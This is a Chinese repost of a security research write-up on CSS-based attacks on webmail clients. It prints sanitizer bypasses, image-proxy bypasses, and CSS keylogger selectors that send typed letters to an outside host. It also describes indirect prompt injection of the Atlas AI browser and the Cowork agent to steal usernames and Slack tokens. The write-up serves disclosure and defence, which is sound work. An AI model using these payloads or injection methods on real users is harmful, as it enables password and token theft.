CSS:藏在你收件箱里的隐形炸弹
幻泉之洲
2026年8月12日 10:36
北京
在小说阅读器读本章
去阅读
Webmail客户端普遍会渲染不可信的CSS,并依赖消毒器来保证安全。但这篇研究彻底撕开了这层防护——从滥用HTML标签到控制AI浏览器,从绕过图片代理到直接用纯CSS窃取密码。Gareth Heyes用一个个真实的漏洞告诉你,收件箱里的每一封邮件都可能是定时炸弹。
一切从几个离谱的问题开始
Webmail存在几十年了,一直在干一件吃力不讨好的事:把用户收到的不可信HTML安全地显示出来。每个新浏览器特性都在给这件事添乱。
主流做法是用消毒器过滤HTML和CSS。理想情况是,消毒器把危险的东西剔除,浏览器再渲染安全的页面。但问题出在——消毒器认为安全的东西,浏览器不一定会按你的剧本走。有些Webmail客户端更激进,先让浏览器解析HTML和CSS,再过滤浏览器解释后的结果。听起来更稳妥?实际上照样能被污染成恶意代码。
过去几个月我泡在Yahoo Mail、AOL Mail、Fastmail、ProtonMail、GMail和Outlook里,找它们的解析器差异和消毒器弱点。下面就是发现的各路花样。
滥用“合法”的HTML和CSS
消毒器有个白名单,里面是允许放行的CSS属性和HTML标签。目标是反过来利用这些“合法公民”干非法的事——伪造UI操作、控制浏览器、接管账户、偷token。
HTML标签的点击劫持
HTML的label标签经常被消毒器忽略。它可以通过for属性绑定任意带id的表单元素,并且继承那个元素的点击行为。我在至少3个Webmail客户端里发现了这个问题。
在Outlook里我找到了一个真实漏洞。通过label标签,我从邮件里直接操控了Outlook的UI功能区,能把邮件固定到受害者的界面顶部。这个bug至今没修。
如果你遇到一个放行label标签但又不过滤for属性的消毒器,用这个JS在devtools里扫一下可攻击目标:
document.querySelectorAll('input[id],button[id],select[id],textarea[id]')
通过邮件控制AI浏览器
OpenAI发布了一个叫Atlas的AI浏览器。我试着用消毒后的CSS,从Fastmail的邮件里对Atlas做间接指令注入。
先说说CSS的:before和:after伪元素。它们能在元素前后插入文字,还能随意加样式。关键点是——它们会继承原元素的点击事件。后面讲CSS热接线的时候会再提到。
我实验发现一个有趣的现象:用:before伪元素插入的文字对LLM可见,但可以用opacity对用户隐藏。这就在人和AI之间撕开了一个信息差。
比如我用法语写一段文字给受害者看,他自然会用Atlas的AI翻译功能。但LLM实际读到的是完全不同的一段提示词指令——要求Atlas在遇到“translate”这个触发词时,自动打开一堆浏览器标签页,从当前页面提取用户名,通过URL hash发到远程服务器。我把指令设计成A/B/C/D的字母循环结构,是为了绕过Atlas的确认弹窗。
剪贴板里的账户接管
同事James Kettle发现一个有意思的现象:从一个网站复制IP地址粘贴到邮件里,带过去的不仅仅是文本,还有广告。那如果剪贴板里有恶意CSS呢?
不同浏览器处理HTML剪贴板的方式完全不一样。Chrome把内联style块重写成style属性,Safari直接丢掉样式,Firefox大方的保留了内联style标签甚至允许背景图请求。目标锁定在Firefox。
在AOL和Yahoo Mail里粘贴恶意CSS时,页面文字短暂变红——这是典型的竞态条件漏洞。消毒器还没来得及处理,CSS就已经生效了。
Medium有个通过邮件登录的功能,生成12位十六进制token。拿到这个token就能登录受害者的账户。攻击流程很简单:用受害者邮箱发起登录请求,构造一段CSS复制到剪贴板,等受害者粘贴到草稿箱,token就没了。
暴力破解12位hex token理论上不现实,CSS代码量太大了。用嵌套选择器可以大幅缩减代码:
[attr^=\"example.com\"] {
&[attr\=\"foo\"] { /\ 以example.com开头且包含foo \/ }
&[attr\=\"bar\"] { /\ 以example.com开头且包含bar \/ }
...
}
先用一个“开头匹配”选择器锚定token参数的起始位置,输出一次,再嵌套多个“包含”选择器暴力破解前后5位。中间缺的2位怎么办?
服务端记录下已知的开始和结束5位,再从URL中任意位置的hex片段里对比。切掉开头部分的最后一个字符,切掉结尾部分的第一个字符,如果某个hex片段以“bcde”开头,那第6位就是f;如果另一个片段以“1234”结尾,第7位就是0。凑齐全部12位就能登录Medium。
CSP全封锁下的数据外传
如果CSP把所有外部资源都封死了,怎么偷token?常见场景是邮件文本节点里放着数字token,用户会复制粘贴到网站上。
生成所有数字组合的链接,不匹配的移出屏幕,匹配的占满全屏:
但不能真去列举所有组合——CSS代码会爆炸。换思路:生成每个数字以及它出现的次数。用字体高度来做计算。
先为每个数字定义一个@font-face规则,用descent-override把特定数字高度放大200%。然后用动画依次激活这些字体:
@font-face {
font-family: has\_0;
src: local('Courier New');
unicode-range: U+0030;
descent-override: 200%;
}
放大的数字高度减去原始高度,再除以单个放大的高度,反推出数字出现了几次。用CSS变量和动画联动,把数字和频率对应起来。
接着用inset属性控制链接位置。所有变量默认100%让链接在屏幕外,只有匹配的那组全部被赋值为0%时,链接才正好覆盖整个屏幕。受害者随便点一下,数字信息和频率就发出去了。
绕过CSS消毒器
白名单里的东西玩得再花,终究被困在邮件消息的沙盒里。想突破界限,得先把消毒器干翻。
制造外部请求的花式手段
光CSS里能发起外部请求的写法就多到离谱。除了常规的@import,还有用sourceMappingURL注释、斜杠语法、甚至故意甩掉闭合括号的写法:
@import url(/foo)
@import url('/foo')
@import \"/foo\";
@import '/foo';
div{background:0%url(/foo)}
div{background:calc(99% + 1%)url(/foo);}
CSS的注释规则也很奔放,各种乱七八糟的写法都能被浏览器解释成注释。这些东西在欺骗消毒器的时候特别好用。
用Shazzer模糊测试
Shazzer有个特性可以在没有JS的情况下模糊测试CSS图片请求。我用它找到了不少诡异行为。
Firefox允许CSS属性名前的花括号字符被忽略,这在消毒器使用黑名单时特别有用。另外CSS允许在URL的斜杠之间插入十六进制转义字符,消毒器以为是相对路径,浏览器却照常发起外部请求。
还发现一个影响Fastmail的向量。Chrome在处理CSSOM时会把转义字符解码,导致消毒器看到的安全代码在浏览器里变异成恶意代码。
图片代理绕过
图片代理是Webmail用来保护用户隐私的机制,把所有图片流量通过自己的服务器转发,既能控制何时加载,也能隐藏用户的真实IP。绕过它就等于拿到了邮件已读回执和IP地址。
在Fastmail上,我用转义反斜杠绕过了图片代理,还恰好命中了他们CSP白名单里的一个用户可控域名user.fm。攻击者通过Fastmail提供的访问日志就能看到请求记录:
content:url(/\5c/user.fm/uid.fastmail.com/track)
ProtonMail的情况更讽刺。他们官方文档信誓旦旦说追踪保护能阻止发件人判断邮件是否被打开,但我的向量直接嵌入了受害者IP地址的图像。他们坚持说这不是漏洞,然后又默默修了。
GMail到现在还没修。用image-set()函数加一个不存在的CSS变量的回退值,就能绕过他们的图片代理。无论我怎么解释他们都不认,后来干脆放弃沟通,直接用这个向量去偷Slack token了。
结合间接指令注入攻击Cowork
和同事Pete Hendy合作,用GMail的图片代理绕过结合间接指令注入攻击了Cowork。Cowork有个Gmail连接器,能帮用户查看邮件并创建草稿。我们伪造了一封CTF解题邮件,诱导AI去翻找确认码邮件里的token,再把完整解决方案存为草稿。受害者打开草稿时背景请求触发,Slack token就被偷走了。
Fastmail的CSS变异攻击
CSSOM是浏览器内存中的样式表表示,Webmail用它来解析和过滤CSS。但浏览器读取CSS属性时可能进行转义解码,安全代码就变异了。
Fastmail会给邮件里的CSS选择器加前缀,防止攻击者影响页面上的可信UI。但我在Chrome里发现这样的变异:
/\ 变异前 \/
@keyframes foo\7d\2a { color:red }
/\ 变异后 \/
@keyframes foo } \* { color:red }
简化版看起来就是几个转义字符被解码成}\*,直接闭合了keyframes并追加了通配选择器。用同样的原理可以把整个页面文字全变红,等于突破了邮件消息的限制。
找到这两bug各拿了1000美元赏金。Fastmail的团队配合得很好。
用CSS搞破坏
把恶意CSS塞进Webmail只是万里长征第一步,接下来得用它干点实际的坏事。
Outlook的CSS小工具与界面篡改
Outlook用DOMPurify做消毒,但白名单里放行了一些自定义data属性。这些属性被前端库拿去做了DOM操作,某些操作会把消毒器白名单之外的CSS属性注入页面。这就是CSS小工具——现有的JS代码帮你嵌入了本不该出现的CSS。
在Outlook里,一个小工具追加了position:fixed属性到DOM上,直接把元素钉在页面任意位置,突破了邮件消息窗口的边界:
配上!important覆写visibility之类的属性,整个Outlook界面就被篡改了:
Fastmail的CSS热接线
手里拿到Fastmail的任意CSS控制权后,能干什么?答案是——拦截页面上每一次点击,把它转嫁到你指定的UI元素上。这叫CSS热接线。
原理很简单。:before和:after伪元素不只继承了原元素的样式,还继承了它的点击事件。把伪元素用position:fixed覆盖全屏,受害者随便点哪里,实际触发的是你锁定的那个按钮。
更狠的是可以链式操作。先绑定点击打开侧边栏,新元素出现后再绑定下一个点击到VIP标记之类的功能。z-index控制触发顺序,全程只需纯CSS。
偷密码
CSS攻击在客户端通常影响有限。我决定挑战一下高价值目标:用CSS偷密码。
先泼盆冷水:网上流传的CSS键盘记录器基本都是废物,它们依赖“以某字符结尾”的属性选择器。问题是,浏览器默认不会把input的value属性实时同步到HTML属性上,除非有JS框架专门做了绑定。
要真做出能用的键盘记录器,得换个思路。回到label标签劫持点击的手法,再配上一堆新CSS语法。
:has()伪类让你可以根据元素内容来施加样式,:checked伪类响应option被选中的状态。把每封邮件伪装成一个select下拉框,选项是各个字母。选中字母时用background:url把信息发出去。
Outlook的消毒器禁止:checked配合class使用,我用相邻兄弟选择器绕过去:
option+option:checked { background:url(https://02.rs/?steal=a); }
option+option+option:checked { background:url(https://02.rs/?steal=b); }
再配合之前找到的CSS小工具拿到position:fixed,在Outlook里构建出一个完整伪造登录屏幕的键盘记录器。全部CSS都在DOMPurify和Outlook消毒器的白名单之内。
实时键盘记录器
上面的键盘记录器有个瑕疵——它不是实时的。浏览器对select元素的键盘输入有个缓冲计时器,大约不到1秒,打完一个字要等计时器跑完才能输入下一个字母。
Firefox有一个行为:当你把select元素移出屏幕再移回来时,这个计时器会被重置。用CSS动画以0.5毫秒的速度快速完成这个移出移回的动作,键盘输入就变成实时的了。
再用-webkit-text-security:disc把select伪装成密码输入框:
但现在有个问题:Outlook的CSS消毒器不放行这么多CSS属性。要完整伪造登录界面,得先彻底干翻消毒器。
击穿Outlook的CSS消毒器
做消毒器绕过的要点:勤记笔记。记清楚每次输入的payload和消毒后的输出,这是串连技巧、识别特征的关键。
经过十几轮尝试,几个关键节点浮现出来。先是通过media查询走私了@import语句,虽然被CSP拦住,但暴露了消毒器的核心弱点——它把@import当成了media查询的一部分。
然后继续推进到注入任意CSS选择器:
@media --narrow-window; \*{ color:red }
最后用带双引号的注释把消毒器彻底搞糊涂,让它以为后面的代码都是字符串内容,从此不再拦任何CSS属性:
@media --narrow-window;/\\"\/.xyz{position:fixed};
至此,一个可以在Firefox上实时运行、接管Outlook全屏、伪造登录界面、偷走密码的完整攻击链成型了。
怎么防
最好的防御是严格隔离。用sandboxed iframe把邮件内容关进沙盒,攻击者就拿不到页面其他部分的控制权。
不用沙盒的话,就小心每一处自定义属性和HTML/CSS小工具。CSSOM操作时对关键词和名称做严格的白名单校验,避免变异攻击。封死邮件里的图片请求,包括data:URL——它们不经过外部请求就能伪造UI。
HTML消毒器里最好直接禁掉select标签。虽然我在Outlook白名单下依然做出了键盘记录器,但禁掉select至少能增加攻击难度。:has、:checked、:focus、:not这类强选择器也该禁用。最后,图片代理必须上,Outlook到现在都没有。
接下来可能出现的攻击
纯HTML键盘记录器
Chrome在推进一个叫selectedcontent的新元素,用来定制select的表现。配合图片懒加载,可以做到“只有选项可见时才加载对应的图片”。等于说,受害者按下键盘,选中特定字母时图片请求才发出。把字母用小尺寸unicode字符隐藏,就能做出一个纯HTML的键盘记录器。
Chrome实时键盘记录器
Firefox上有实时方案,Chrome上还差一口气。折腾了很久都没法重置Chrome的select计时器,直到看到Interest Invokers的提案。这个API允许在元素聚焦或悬停时控制其他元素的显示。利用这个机制把每个字母做成独立的popover select菜单,聚焦第一个输入后依次串联,一样实现了实时键盘记录。只是目前这些HTML属性大概率还没进任何消毒器的白名单。
说点题外话
我干了20多年Web安全研究,是靠和其他研究者分享、互相学习走到今天的。AI很猛,但不代表人类写博客分享技术就没意义了。我共享出来的这些研究笔记,正是想强调人类知识分享的价值——我们能做出AI暂时做不到的联想。
感谢Rebane做的CSS CPU、Paul Gerste的CSS数据窃取研究、Temani Afif的CSS元素高度计算技术、Slonser的外传方法、Mario Heiderich等人的变异XSS论文。所有代码在GitHub上:https://github.com/portswigger/css-the-bomb-inside-your-inbox
参考资料
[1] https://portswigger.net/research/css-the-bomb-inside-your-inbox
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。






![[NewStarCTF2023公开赛道]流量!鲨鱼!"](/images/random/titlepic/11.jpg)



评论